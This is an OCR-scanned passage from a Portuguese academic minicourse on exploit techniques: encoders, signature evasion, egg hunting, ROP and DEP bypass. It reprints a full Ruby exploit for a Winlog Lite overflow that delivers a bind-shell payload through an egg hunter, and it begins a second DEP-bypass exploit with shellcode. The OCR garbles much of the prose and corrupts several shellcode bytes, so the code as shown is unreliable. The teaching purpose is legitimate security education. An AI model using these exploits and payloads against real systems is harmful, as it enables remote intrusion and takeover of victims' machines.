Tabela 1.3. Exemplo de bridge building [Anley et al., 2007).

Cdodigo Assembly Opcode Resultado

push 30h O0x6A 0x30 Armazena 0x00000030 na pilha

pop eax 0x58 Transfere este valor para o registrador EAX

xor a,30h 0x34 0x30 XOR a com 0x30. Isto gera 0x00000000 em EAX.
dec eax 0x48 Subtrai 1 de EAX, gerando OxFFFFFFFF

xor eax,7A39393%h 0x35 0x3939397A |Este XOR armazena 0x85C6C6C6 em EAX.

xor eax,55395656h 0x35 0x56563955 |e este outro gera OXDOFF9090 em EAX.

push eax 0x50 Armazena este valor na pilha.

O maior problema apresentado pela técnica de “ponte” € a quantidade excessiva
de instrucbes necessérias para gerar o codigo desgjado. Assim, partindo diretamente do
codigo original do shellcode, pode ser aplicada uma técnica baseada no uso de
“encoders’ [Eeckhoutte, 2010c], que convertem automaticamente todo o cédigo paraum
formato especifico, de acordo com as necessidades do desenvolvedor e o tipo de filtro
gue se pretende contornar. Dessa forma, é possivel evitar os chamados “ bad characters’
[Bradshaw, 2011] [Eeckhoutte, 2010c], que podem inutilizar o cédigo do shellcode. Um
bom exemplo é o simbolo “null” (0x00), que pode ser interpretado como um indicador
de fim de string, levando ao término da leitura dos dados inseridos pelo exploit. Esse
processo de codificagdo pode ser executado manualmente [Anley et al., 2007] ou através
do uso de ferramentas como o0 “msfencode” [Eeckhoutte, 2010c], contido no pacote
Metasploit. Ao utilizar essa ferramenta, o codigo gerado j& contém o conjunto de
instrucdes necessérias para o processo de decodificacdo, automatizando 0 processo.

1.3.3. Assinaturas

Assinaturas sdo definidas como sendo uma sequéncia de bytes extraida do corpo de um
cddigo binério especifico [Karin, 2006]. Uma assinatura é gerada tomando-se uma parte
do cbodigo que sgja Unica para aquele elemento de software e que tenha pouca
probabilidade de ocorrer em outros programas. Normamente, as assinaturas S0
armazenadas em tabel as hash, de forma a garantir que 0 acesso seja 0 mais agil possivel.
Os programas de detecgdo de cddigos maliciosos, como antivirus e analisadores de
contelido, trabalham principalmente com um método de comparacdo que verifica se um
determinado programa executavel combina com uma assinatura armazenada em sua
base de dados [Moura e Rebiha, 2009], varrendo o corpo do codigo suspeito na busca
das sequéncias de bytes armazenadas na base de assinaturas.

Entretanto, além do uso de encoders (discutidos na se¢do 1.3.2), capazes de
gerar uma nova codificagdo com base num mesmo codigo de um exploit, ja é muito
comum que codigos maliciosos apliquem técnicas conhecidas como “ofuscacéo de
codigo”, capazes de gerar variagdes no codigo bindrio de forma a inviabilizar a
identificacdo por meio de assinaturas [Rad e Masrom, 2010]. Assim, para evitar a
deteccdo, novas copias daguele mesmo codigo mantém a estrutura seméantica original,
mas incluem alteracfes sintédticas que os tornam incompativeis com a assinatura gerada
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originalmente. Entre as técnicas de ofuscacéo de codigo, destacam-se: insercéo de lixo
no codigo, ou codigo inerte; troca mutua de registradores e varidveis entre operacles, e
troca das instrugdes originais por outras com 0 mesmo efeito.

Existem diversas abordagens diferentes para tratar esse problema [Karin, 2006]
[Moura e Rebiha, 2009] [Rad e Masrom, 2010]. Cada uma procura eliminar o efeito das
mudancas de cddigo de uma maneira diferente. No entanto, essas estratégias ndo seréo
abordadas aqui, pois fogem do escopo deste minicurso.

1.4. Técnicas moder nas de exploracéo

A medida que os mecanismos de protegdo contra exploracdes de softwares evoluiram,
surgiram novas técnicas de desenvolvimento de artefatos maliciosos. Essas abordagens
foram criadas justamente com o intuito de suplantar defesas e permitir a execucéo de
codigos de ataque. Esta sec8o apresenta as principais técnicas atualmente empregadas
no desenvolvimento de exploits destinados a comprometer a seguranca de sistemas
computacionais modernos.

1.4.1. Egg Hunting

O nome Egg Hunting é uma ausdo a brincadeira de mesmo nome, comum no periodo
da pascoa, na qua ovos de chocolate sdo escondidos para que criangas os encontrem. No
contexto de exploracdes de softwares, esse nome € utilizado para designar uma técnica
utilizada para desenvolver exploits capazes de executar shellcodes em sistemas com
restricoes de espaco ha memoria.

Quando a area disponivel em memoria para armazenar um shellcode € muito
pequena, atacantes ficam impedidos de introduzir qualquer cédigo malicioso €efetivo.
Em outros casos, apesar de a area disponivel ser suficiente para um shellcode, restricdes
quanto ao uso de determinados caracteres podem leva-lo a crescer muito de tamanho
apos o0 processo de codificacdo. Nesse cendrio, 0 método denominado Egg Hunting
surgiu como uma importante técnica de desenvolvimento de exploits para execucédo de
shellcodes em dois estégios, superando o desafio imposto pela limitagdo de espaco. A
ideia central consiste em dividir o payload em duas ou mais por¢des, de modo que a
fracéo inicial do codigo fica responsavel unicamente por encontrar o shellcode e desviar
o fluxo de execucéo paraele.

Como essa € umatarefa bem mais ssimples do que as funcdes desempenhadas por
um shellcode tipico, seu cédigo pode ser expresso em uma quantidade muito menor de
instrucdes. Assim, é possivel ocupar pequenos espagos em memaoria com o primeiro
estégio do payload — 0 Egg Hunter — e disponibilizar o restante do cdigo em umaoutra
area de memoria, inicialmente desconhecida e possivelmente distante da regido de
memoria onde a vulnerabilidade é explorada. Por outro lado, um Egg Hunter impde o
pré-requisito de que o atacante deve ser capaz de inserir 0 restante do shellcode em
algum local no espaco de enderecos do processo atacado, ainda que a localizagéo exata
dessa fragdo de codigo ndo seja conhecida.

E importante destacar que um Egg Hunter, apesar de ser classificado como um
mecanismo de execucdo de shellcodes em dois estagios, difere dos payloads
multiestégios existentes nos frameworks para testes de penetracdo. No Metasploit, por
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exemplo, os payloads multiestagios utilizam a primeira por¢éo de cddigo para criar um
cana de comunicagdo entre a méquina do atacante e o sistema avo [Maynor e
Mookhey, 2007]. Através desse canal, 0 segundo estagio do payload — que contém o
shellcode escolhido pelo atacante — € enviado para a vitima. No caso dos Egg Hunters,
0s dois estagios sdo inseridos pelo préprio atacante na memoéria da méquina avo, de
forma independente. Ou sgja, 0 segundo estagio ndo € carregado em meméria pelo Egg
Hunter. 1sso permite que o tamanho do codigo de um Egg Hunter seja muito menor do
que o tamanho do codigo do primeiro estagio utilizado pelos frameworks para testes de
penetracdo. A implementacdo de Egg Hunter para Windows discutida a seguir, por
exemplo, ocupa 32 bytes, enquanto o menor payload (find_tag) gerado pelo Metasploit
para 0 mesmo sistema operacional demanda 92 bytes de espaco em memaria.

Além disso, os Egg Hunters evitam a necessidade de uma conexéo entre a
maguina alvo e a maguina do atacante, 0 que em muitos casos pode ser invidvel. Em
contrapartida, eles apresentam a desvantagem de requerer que o shellcode sgja inserido
diretamente na memoria do processo. Normalmente, isso é conseguido pelos atacantes
através da submissdo de uma entrada adicional para o programa avo, que contenha
apenas 0 segundo estagio do codigo. Note que essa entrada adicional ndo precisa
coincidir com a entrada utilizada para explorar a vulnerabilidade do programa, pois
basta que 0 processo aceite os dados e armazene-0s em memoria.

O principa desafio de um Egg Hunter consiste em evitar 0 acesso a regides de
memoria invalidas ou que ndo tenham sido alocadas para o programa, a fim de impedir
o lancamento de interrupcbes que abortem a execucdo do codigo. Além disso, é
desgjavel que o Egg Hunter sgja eficiente, pois o ataque podera ser detectado caso 0
processo de busca em memaria exija muito esforgo computacional. Miller [Miller, 2004]
apresenta estratégias confidveis, portaveis e pequenas para pesquisar 0 espago virtual de
enderecos de um processo em sistemas operacionais Windows e Linux. Entre as diversas
solugdes propostas nesse estudo, 0 mecanismo desenvolvido para ambientes Windows
baseado na chamada de sistema “NtDisplayString” ganhou notoriedade por seu tamanho
reduzido e por sua confiabilidade. Em funcdo dessas caracteristicas, desde a sua
publicacdo, esse méodo tem sido amplamente empregado em diversos exploits.
Posteriormente, foi proposta a substituicdo da chamada de sistema “NtDisplayString”
pela chamada “NtAccessCheckAndAuditAlarm” — uma vez que a segunda mantém o
mesmo identificador de chamada em todas as versdes NT do Windows — tornando o
cédigo mais portavel [Jurczyk, 2012]. O cédigo de montagem desse Egg Hunter para a
arquitetura | A-32 é apresentada na Tabela 1.4.

Uma vez que a chamada de sistema “NtAccessCheckAndAuditAlarm” esta
disponivel apenas nas versdes NT do Windows, o Egg Hunter apresentado na Tabela 1.4
aplica-se somente aos sistemas operacionais da Microsoft pertencentes a familia.
Essa chamada de sistema é utiliza pelo Egg Hunter para validar as paginas de meméria
antes de efetivamente acessa-las, evitando a incidéncia de violagbes que abortem a
execucdo do processo. Antes de ler o contelido apontado pelo registrador EDX, a
chamada “ NtAccessCheckAndAuditAlarm” checa se 0 endereco € vaido. Na ocorréncia
de acessos invalidos, o valor 0xc0000005 é retornado no registrador EAX. Escolhendo-
se outra chamada de sistema que desempenhe 0 mesmo papel, pode-se facilmente
adaptar o codigo acima para atender a outras plataformas.
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Tabela 1.4. Codigo de Egg Hunter para sistemas Windows NT em arquitetura IA-32.

N°| End.rel. | Cdd. (hexa) Assembly Comentario

1 |inc_pag:$+0 | 6681CAFFOF | or dx,0xfff Anota Ultimo endereco da pagina

2 |inc_end:$+5 |42 inc edx Obtém primeiro enderego da pagina seguinte

3 $+6 | 52 push edx SdvaEDX (enderego a ser analisado)

4 $+7 | 6A02 push 0x2 Empilhavalor que indica a chamada de sistema

5 $+9 |58 pop eax Salvaem EAX o indicador da chamada de sistema

6 $+A | CD2E int Ox2e Chama o kernel para executar a chamada indicada

7 $+C | 3C05 cmp al,0x5 Checa se ha violagéo de acesso (cdd. = 0xc0000005)

8 $+E | 5A pop edx Recupera em EDX 0 endereco a ser analisado

9 $+F | 7AEF jzinc_péag Salta para a préxima pagina se houver violagcdo

10 $+11 | B845545353 | mov Carregaachave (“ETSS’ nesse exemplo) em EAX

eax,0x53535445

11 $+16 | 8BFA mov edi,edx Copia endereco para EDI (scasd incrementa o valor)

12 $+18 | AF scasd Compara a chave (EAX) com o vaor apontado por
EDI, setaflag de status e incrementa o valor de EDI

13 $+19 | 75EA jnzinc_end Sdlta para proximo endereco se ndo casar a chave

14 $+1B | AF scasd Compara novamente a chave (22 parte)

15 $+1C | 75E7 jnzinc_end Sdlta para proximo endereco se ndo casar a 22 parte

16 $+1E | FFE7 jmp edi Salta paraa primeirainstrucéo do shellcode

Para encontrar o shellcode na memoria — também chamado de ovo —, 0os Egg
Hunters utilizam um marcador, que deve ser inserido junto com o segundo estégio do
codigo, imediatamente antes da primeira instrucéo a ser executada. Essa chave deve ser
anica, ou sga, ndo deve existir em qualquer outra posicdo de memoria do processo.
Caso contréario, o fluxo de execucdo podera ser desviado para a &rea de memaoria onde
ha a colisdo com a chave, ao invés de saltar para o shellcode. Por isso, 0 atacante deve,
pelo menos, se certificar de que a chave escolhida jamais colidird com qualquer codigo
de operacéo definido para o conjunto de instru¢des de maguina da arquitetura utilizada.
Além disso, como usuamente a chave € codificada dentro do Egg Hunter, ela deve ser
inserida duas vezes antes do payload, como forma de diferenciar o shellcode do préprio
Egg Hunter. No exemplo apresentado na Tabela 1.4, foi utilizada a chave “ETSS’, que
convertida para os valores ASCII de cada caractere, em hexadecimal, corresponde a
0x45545353. Ao prefixar o codigo do shellcode com a chave, deve-se anotéa-la duas
vezes, conforme a seguir: 0x4554535345545353.

No exemplo de codigo acima, o registrador EDX é utilizado como ponteiro para
a cdula de memoéria a ser comparada com a chave. As duas primeiras instrucoes
garantem que EDX guardara o primeiro endereco da pagina de memoria subsegquente a
pagina inicialmente apontada por EDX. Note que o codigo evita inicializar EDX em
uma pagina especifica, ja que normalmente a localizacéo do shellcode ndo é conhecida.
Assim, economiza-se alguns bytes. No entanto, pode ser necessario estabelecer
explicitamente o endereco inicia de busca, uma vez que ele deve ser menor do que a
posicdo onde o shellcode € armazenado. Uma escolha conservadora € inicializar o
registrador EDX com o endereco 0x00000000. Porém, deve-se lembrar que, na maioria
dos casos, essa inicializagdo néo pode ser efetuada diretamente, devido a existéncia de
null bytes. Uma boa alternativa pode ser encontrar em tempo de execucdo o endereco
inicial do processo ou da sua érea de pilha. Além disso, em alguns casos pode ser
necessario inicializar o registrador EDX com um endereco que impega o Egg Hunter de
encontrar uma copia corrompida do shellcode. Independente da motivacéo, em todas as
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situagOes mencionadas, pode-se alterar a posicdo inicial de meméria a ser pesquisada
pelo Egg Hunter através dainclusdo de instru¢des no inicio do codigo.

Além de evitar o desvio do fluxo de execucdo para versdes corrompidas do
shellcode, iniciar a busca a partir de um determinado endereco pode ser Util nas
Situagbes em que se desgja reduzir o tempo de execucdo do Egg Hunter. O tempo
requerido para testar todos os enderecos de memoria a procura da chave pode acarretar
em problemas de ordem prética para 0 sucesso da exploragdo. O usuario do
equipamento atacado pode, por exemplo, reiniciar o processo avejado em decorréncia
de um longo tempo sem respostas da aplicacéo.

Apébs armazenar em EDX o primeiro enderego da pagina de memdria, a terceira
instrucdo sadva o vaor de EDX na pilha, a fim de possbilitar a sua posterior
restauracdo. Esse procedimento € necessario porque a chamada de sistema
“NtAccessCheckAndAuditAlarm”, efetuada na sexta instrucdo do cédigo, corrompe o
valor desse registrador durante sua execugdo. Ao contrario das chamadas de fungdes
tradicionais, nas quais os parametros sdo anotados na pilha, nas chamadas de sistema do
Windows os parametros sdo armazenados em um vetor de argumentos apontado pelo
registrador EDX. O registrador EAX, por sua vez, € usado para indicar para o kernel
qual chamada de sistema o processo desgja executar. Como o valor correspondente a
chamada de sistema “NtAccessCheckAndAuditAlarm” é 2, esse valor é carregado em
EAX pelas instrugdes 4 e 5, antes do Egg Hunter chamar o kernel do sistema na
instrucéo 6.

A instrucéo 7 compara a por¢éo menos significativa do registrador EAX, onde a
chamada de sistema armazena seu valor de retorno, com o valor 5. Se os valores forem
iguais, significa que o codigo 0xc0000005, indicativo de violacdo de acesso, foi
retornado. Nesse caso, a nona instrucdo salta para a primeira, onde o processo €
reiniciado com o incremento da pagina de memoria. Esse incremento da pégina de
memoria evita que o Egg Hunter percorra todos os enderecos de memoria, reduzindo o
esforco computacional. Ele € possivel porque todas as posicies de memoria
pertencentes a uma mesma pagina possuem as mesmas restricdes de acesso. Porém,
antes de testar a condi¢do do salto previsto nainstrugdo 9, o valor de EDX é extraido da
pilha e restabel ecido pela oitava instrucéo.

Caso a chamada de sistema ndo retorne um sina indicativo de violagcéo de
acesso, a execucao prossegue para finalmente comparar a chave com o conteldo do
endereco apontado por EDX. Para isso, a instrucdo 10 carrega a chave no registrador
EAX e ainstrucdo 11 copia o endereco armazenado em EDX para EDI. Essa copia
somente é necesséria porque ainstrucdo de comparacdo de strings “scasd”, executada na
sequéncia, efetua também o incremento do endereco armazenado em EDI em 4
unidades. Caso o conteldo de EAX sgja diferente do contelido apontado por EDI, o
valor de EDX mantem-se 0 mesmo e o salto indicado na instrucéo 13 retoma o processo
de busca a partir da instrucdo 2, na qual o endereco armazenado em EDX é
incrementado.

Por outro lado, se a primeira comparagcdo — efetuada pela instrugéo 12 — indicar
que a chave foi encontrada, o valor de EDI jatera sido incrementado e apontara para os
proximos 4 bytes, permitindo a comparacéo da segunda copia da chave. As instruces
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14 e 15 repetem o processo de verificacdo do casamento do marcador e, concretizando-
se 0 segundo casamento, 0 Egg Hunter é encerrado com o salto para a primeira
instrucéo do shellcode, apontada por EDI.

Uma caracteristica importante do Egg Hunter apresentado decorre do uso das
duas instruces de PUSH. Elas sobrescrevem os dados armazenados nos 8 bytes
anteriores a posicao apontada pelo registrador de topo de pilha (ESP). Isso significa que
o shellcode sera corrompido pelo Egg Hunter caso o registrador ESP aponte para algum
endereco até 8 bytes posterior as posi¢oes usadas pelo payload.

Um exemplo recente de exploit que utiliza exatamente a implementacéo de Egg
Hunter apresentada na Tabela 1.4 pode ser encontrado em 2. Nesse artefato, € explorada
uma vulnerabilidade no software Winlog Lite, desenvolvido pela Sielco Sistemi. A
vulnerabilidade foi divulgada em 05 de junho de 2012, juntamente com a PoC
apresentada abaixo, e recebeu o identificador CV E-2012-3815.

Listagem 1.5. Cadigo de exploit que utilizaum Egg Hunter para executar o shellcode.

require 'socket'

"46824"
"10.8.28.37"

port
host

s = TCPSocket.open(host,port)
sleep(0.5)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter << "\xef\xb8\x77\x6f\x6f\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# msfpayload windows/shell bind tcp R | msfencode -t ruby
#[*] x86/shikata ga nai succeeded with size 368 (iteration=1)
shellcode =

"\xdb\xc8\xd9\x74\x24\ xf4\x5b\xba\x45\x76\x08\xf1\x33\xc9"
"\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x51\x94\xfd\x0d"
"\xb1\xd1\xfe\xed\x41\x82\x77\x08\x70\x90\xec\x58\x20\x24"
"\x66\x0c\xc8\xcf\x2a\xa5\x5b\xbd\xe2\xca\xec\x08\xd5\xe5"
"\xed\xbc\xd9\xaa\x2d\xde\xa5\xb0\x61\x00\x97\x7a\x74\x41"
"\xd0\x67\x76\x13\x89\xec\x24\ x84\ xbe\xb1\xf4\xa5\x10\xbe"
"\x44\xde\x15\x01\x30\x54\x17\x52\ xe8\xe3\x5f\x4a\x83\xac"
"\Xx7f\x6b\x40\xaf\xbc\x22\xed\x04\x36\xb5\x27\x55\xb7\x87"
"\x07\x3a\x86\x27\x8a\x42\xce\x80\x74\x31\x24\xf3\x09\x42"
"\xff\x89\xd5\xc7\xe2\x2a\x9e\x70\xc7\xcb\x73\xe6\x8c\xc0"
"\x38\x6c\xca\xc4\xbf\xal\x60\xf0\x34\x44\xa7\x70\x0e\x63"
"\x63\xd8\xd5\x0a\x32\x84\xb8\x33\x24\x60\x65\x96\x2e\x83"
"\x72\xa0\x6c\xcc\xb7\x9f\x8e\x0c\xdf\xa8\xfd\x3e\x40\x03"
"\x6a\x73\x09\x8d\x6d\x74\x20\x69\xel\x8b\xca\x8a\x2b\x48"
"\x9e\xda\x43\x79\x9e\xb0\x93\x86\x4b\x16\xc4\x28\x23\xd7"
"\xb4\x88\x93\xbf\xde\x06\xcc\xabd\xed\xcc\x7b\xe7\x2e\x34"
"\x28\x80\x52\xca\xdf\x0c\xda\x2c\xb5\xbc\x8a\xe7\x21\x7f"
"\xe9\x3f\xd6\x80\xdb\x13\x4f\x17\x53\x7a\x57\x18\x64\xa8"
"\xT4\xb5\xcc\x3b\x8e\xd5\xc8\x5a\x91\xf3\x78\x14\xaa\x94"
"\xf3\x48\x79\x04\x03\x41\xe9\xa5\x96\x0e\xe9\xa0\x8a\x98"
"\xbe\xe5\x7d\xd1\x2a\x18\x27\x4b\x48\xel\xb1\xb4\xc8\x3e"
"\x02\x3a\xd1\xb3\x3e\x18\xc1\x0d\xbe\x24\xb5\xc1\xe9\xf2"
"\x63\xa4\x43\xb5\xdd\x7e\x3f\x1f\x89\x07\x73\xa0\xcf\x07"
"\x5e\x56\x2T\xb9\x37\x2F\x50\x76\xd0\xa7\x29\x6a\x40\x47"
"\xe0\x2e\x70\x02\xa8\x07\x19\xcb\x39\x1la\x44\xec\x94\x59"
"\x71\x6T\x1c\x22\x86\x6T\x55\x27\xc2\x37\x86\x55\x5b\xd2"
"\xa8\xca\x5c\xf7"

e T T S S S S e S S S A A T T e e i e i I O s

puts "placing the shellcode"
buffer = "\x41" * 2000
buffer << "wootwoot" #egg

12 http://www.s3cur1ty.de/mladv2012-001
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buffer << "\x90"

buffer << shellcode

buffer << "\x90" * 2000

print "buffer length: #{buffer.length}\r\n"
s.puts(buffer)

puts "sleeping ..."
sleep(5)

puts "kicking ..."

buffer = "\x41" * 20 + "\x14" * 10 + "\x41" * 167

buffer << "\xdf\x53\x51\x40" #EIP -> Jmp ESP - Vc1x40.bpl - 0x405153df
buffer << "\x90"

buffer << egghunter

buffer << "\x90" * (59 - egghunter.length)

print "buffer length: #{buffer.length}\r\n"

s.puts(buffer)

Nas primeiras linhas do exploit (1 a 6), desenvolvido na linguagem de
programacdo Ruby, a biblioteca para instanciar soquetes € importada, as variavels que
definem o endereco IP e a porta de destino sdo inicializadas e o soquete de comunicacdo
com a aplicacdo vulneravel é criado. Depois de aguardar 0,5 segundos, o buffer que
armazena o codigo do Egg Hunter é inicializado. Note que o codigo hexadecimal do
Egg Hunter é praticamente idéntico ao codigo apresentado na Tabela 1.4. A Unica
diferenca, expressa do décimo nono ao vigésimo segundo bytes, decorre da discrepancia
na chave utilizada. Enquanto no cédigo apresentado na Tabela 1.4 achave € “ETSS’, na
PoC foi empregada a chave “woot”, conforme indicado na linha 46 do exploit. Nesse
caso, o valor ASCII correspondente é Ox776f6f74.

Nas linhas de 13 a 42 é iniciaizada a varidvel que armazena o codigo do
shellcode. O autor utiliza um shellcode do tipo “bind shell”, que abre a porta 4444 na
vitima e aguarda uma conexao por onde envia um shell remoto. Repare que o shellcode,
com 368 bytes de tamanho, é bem maior do que os 32 bytes do Egg Hunter.

Nas linhas de 44 a 51, o buffer que contém o shellcode € montado e enviado a
aplicacdo via conexdo TCP. Nesse ponto, cabe ressaltar ainclusdo da chave “woot” duas
vezes em sequéncia, antes da primeirainstrucdo do shellcode. O autor utilizou o formato
de strings da linguagem Ruby para evitar a escrita manual dos bytes da chave, necesséria
caso 0 marcador fosse expresso em formato hexadecimal. Os bytes adicionados ao
buffer nas linhas 45 e 49 tém a funcdo apenas de complementar o tamanho do buffer
para que, quando a aplicacdo manipular os dados recebidos, o trecho correspondente ao
shellcode permaneca em memoria.

A segunda remessa de dados maliciosos € montada e enviada nas linhas de 56 a
63. Esse fragmento corresponde a entrada formatada para ocasionar o overflow e para
desviar o fluxo de execucéo para o Egg Hunter.

1.4.2. Return-Oriented Programming (ROP)

A técnica de desenvolvimento de exploits denominada Return-Oriented Programming
(ROP) baseia-se no reuso de codigo para superar a protecéo oferecida pelo bit de
execucdo (NX/XD). Ao contrério da tradicional técnica de reuso de codigo “return-to-
libc”, na qual o atacante desvia o fluxo de execucdo para o inicio de alguma funcéo Util
para o atague (normalmente disponivel na biblioteca “libc”), o ROP encadeia vérios
pequenos trechos de codigo (gadgets) a fim de executar uma determinada tarefa. Para
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conseguir esse encadeamento, a Ultima instrucdo de cada trecho de codigo escolhido
deve executar um desvio. A idela origina do ROP utiliza gadgets finalizados com
instrucdes de retorno (RET) para interligar as fragcOes de codigo escolhidas [Shacham,
2007]. Dai surgiu 0 nome da técnica. A vantagem do ROP em relacdo ao “return-to-
libc” decorre da ampliacdo das possibilidades para o shellcode, pois ao usar a segunda
técnica, as agbes do atacante ficam limitadas as fungbes carregadas na memoria.

O encadeamento de codigos, efetuado antes de desviar o fluxo de execucéo para
o shellcode, pode ter como objetivo realizar diversas tarefas: habilitar o bit de execucéo
para aregido de memoria onde o shellcode se localiza, copiar o shellcode para uma érea
de memdria com permissdo de execucdo ou desabilitar a protecdo oferecida pelo bit
NX/XD. Nos sistemas operacionais da Microsoft, em funcéo da grande quantidade de
incompatibilidade de aplicacbes com o DEP, por padréo essa protecéo néo € habilitada
para todos os processos. Ao invés disso, 0 administrador do sistema pode escolher entre
quatro politicas de uso, detalhadas na Tabela 1.5.

Tabela 1.5. Opces de configurag@o do DEP [Microsoft, 2006].

Opcéo Descricdo

Optin Configuracdo padrdo nas versdes XP, Vista e 7 do Windows. O DEP é habilitado para
alguns binarios do sistema e para programas incluidos pelo administrador do sistema na
lista de op¢éo por usar a protecdo (opt-in).

OptOut Configuracdo padrdo nas versdes Server do Windows. O DEP é habilitado para todos os
processos, exceto agqueles incluidos pelo administrador do sistema na lista de opg&o por
ndo usar a protecdo (opt-out).

AlwaysOn O DEP é habilitado para todos os processos, sem excegoes.

AlwaysOff O DEP é desabilitado para todos 0s processos, sem excegoes.

As politicas de uso do DEP definem também se um processo pode alterar sua
propria opcdo de configuragdo para essa protecdo. Se as opcbes “AlwaysOn” ou
“AlwaysOff” estiverem ativas, nenhum processo pode aterar suas configuracOes
relativas ao DEP. Por outro lado, se as opgdes “Optln” ou “OptOut” estiverem ativas (e
se 0 “Permanent DEP’ — explicado a seguir — estiver desativado,) 0 processo podera
chamar a funcdo "NtSetlnformationProcess’ [Miller e Johnson, 2005] ou a funcéo
"SetProcessDEPPolicy” [Damele, 2009] para aterar sua opgdo de configuracdo.
Ressalta-se, porém, que a fungdo “ SetProcessDEPPolicy” sO pode ser chamada uma vez
por cada processo. Portanto, se essa funcdo jativer sido chamada pelo processo atacado,
0 exploit ndo funcionara caso efetue uma nova chamada. 1sso ocorre, por exemplo, com
o Internet Explorer 8, que chama a funcdo “SetProcessDEPPolicy” assm que o
programainicia.

Além das quatro opc¢des de configuracdo do DEP, a partir do Windows Vista, a
Microsoft incorporou um mecanismo denominado “Permanent DEP’, que é ativado
automaticamente para os executéveis ligados com a opcdo /NXCOMPAT. Essa opgéo
também pode ser ativada individualmente pelos processos através de uma chamada a
funcdo “ SetProcessDEPPolicy”. O “Permanent DEP’ tem impacto direto na escolha da
estratégia usada para superar o DEP, pois quando esse indicador est4 ativo, nenhuma
funco pode ser usada para aterar a politica de DEP configurada para o processo
[Eeckhoutte, 2010b].
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Quando o “permanent DEP’ ou a opcdo “AlwaysOn” estdo ativos, 0s atacantes
recorrem a outras estratégias para burlar o DEP. Uma delas € chamar a fungéo
“Virtual Protect” para marcar como executavel a pagina de memaoria onde o shellcode se
localiza. Outra abordagem consiste em executar a funcéo “WriteProcessMemory”, que
permite copiar o shellcode para uma localizacdo executavel da memoria, desde que essa
regido também sgja gravavel. Se isso ndo for viavel, existe ainda a possibilidade de
utilizar a funcdo “VirtualAlloc” ou a funcdo “HeapCreate” para criar uma nova regiao
de memdria com permissdes de execucdo e escrita. Apos criar essa &rea, basta copiar 0
shellcode para |4 através de uma chamada a fungdes como “memcpy” ou
“WriteProcessMemory”.

Acontece que para chamar as funcdes que permitem superar o0 DEP através das
estratégias mencionadas, € necessario preparar 0s parametros a serem submetidos para
essas APIs (Application Programming Interfaces). Ao explorar uma vulnerabilidade do
tipo estouro de pilha, como os argumentos também sdo anotados na pilha, teoricamente
bastaria inseri-los na pilha junto com os dados que acarretam no estouro e executar a
chamada direta da funcdo (equivalente a técnica “ret-to-libc”). Entretanto, enderecos
previamente desconhecidos (como a localizagdo exata do shellcode) ou valores que
contenham bytes nulos (0x00) usua mente exigem a execucao prévia de instrugdes para
carregar o valor desgjado na pilha. Por isso, a preparacdo dos argumentos requer uma
selecdo minuciosa de gadgets para 0 encadeamento de instrucdes, além da escolha
precisa dos valores a serem escritos durante o overflow. Esses gadgets devem manipular
os dados inseridos pelo atacante na memaria a fim de gerar os parametros adequados
para chamar-se a APl escolhida. O grande desafio imposto pela técnica ROP reside no
fato que, na maioria das vezes, a0 executar instrucdes para preparar e escrever um valor
na pilha, acaba-se alterando outros valores em registradores ou na propria pilha. Por
isso, a escolha dos gadgets deve ser bastante criteriosa.

Os gadgets podem ser compostos por instrucdes encontradas em qualquer
maodulo, desde que essas instrugdes sgjam executavels, localizem-se em um endereco
conhecido e ndo contenham bytes nulos (essa Ultima restricdo pode ser desconsiderada
caso 0s dados de entrada ndo sejam lidos como strings). Além disso, como a arquitetura
x86 utiliza instrugdes de tamanhos variados, ndo h& nenhuma exigéncia para que o0s
acessos ao segmento de instrucdes (.text) respeitem algum tipo de alinhamento. Assim,
€ possivel utilizar partes de uma instrucdo original como se fossem novas instrucdes.
Umainstrucéo “ADD AL, 0x58” (0x80C058), por exemplo, se for referenciada a partir
do seu terceiro byte (0x58), serd interpretada como uma instrucéo “POP EAX” (0x58).
Esse artificio é constantemente utilizado pelos atacantes durante a pesquisa por gadgets
Uteis para a construcdo de uma cadeia de instrucdes.

Além do Windows, o ROP é utilizado para desenvolver exploits direcionados a
outros sistemas operacionais que implementam protegoes baseadas no bit NX/XD, como
o Linux. Normalmente, assim como no Windows, a técnica ROP é empregada em uma
etapainicial dos ataques, necessaria para organizar 0s parametros a serem passados para
as funcdes. A diferenga, portanto, reside nas fungdes disponivels para a conclusdo dos
ataques e em como essas funcdes recebem os parametros [Le, 2010].

Um exemplo de exploit que utiliza a fungdo *“SetProcessDEPPolicy” para
desativar a protecéo oferecida pelo DEP é apresentado na Listagem 1.6. Nesse artefato,

33 ©2012 SBC — Soc. Bras. de Computa¢do



CoONOOUTEA WN =

Minicursos do XII Simpdsio Brasileiro em Seguranca da Informagao e de Sistemas Computacionais — SBSeg 2012

divulgado em 17 de setembro de 2011, é explorada uma vulnerabilidade de estouro de
pilha no software “My MP3 Player” 3. Conforme indicado no préprio cédigo, o ataque
realizado por esse exploit funciona contra versdes do Windows XP SP3, com as opgoes
Optln (incluindo 0 “My MP3 Player” nalista) ou OptOut do DEP habilitadas.

Listagem 1.6. Cadigo de exploit que utiliza a funcéo “ SetProcessDEPPolicy” para desativar o DEP.

# calc.exe - 1014 bytes of space for shellcode

shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54"
"\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58"
"\x32\x42\x44\x42\x48\ x34\ x41\x32\ x41\x44\x30\x41\x44\x54\ x42\x44\x51\ x42\x30\x41\x44"
"\x41\x56\x58\x34\x5a\x38\x42\x44\ x4a\ x4 f\x4d\x4e\x4f\x4a\x4e\x46\x44\x42\x30\x42\x50"
"\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47\x45\x50\x4a\x57\x41\x30\ x4 f\x4e\x4b"
"\x58\x4f\x54\x4a\x41\x4b\x38\ x4\ x45\x42\x42\x41\x50\x4b\ x4e\x49\x44\ x4b\x38\x46\x33"
"\x4b\x48\x41\ x50\ x50\ x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c\x46\x57\x47"
"\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x55\x46\x32"
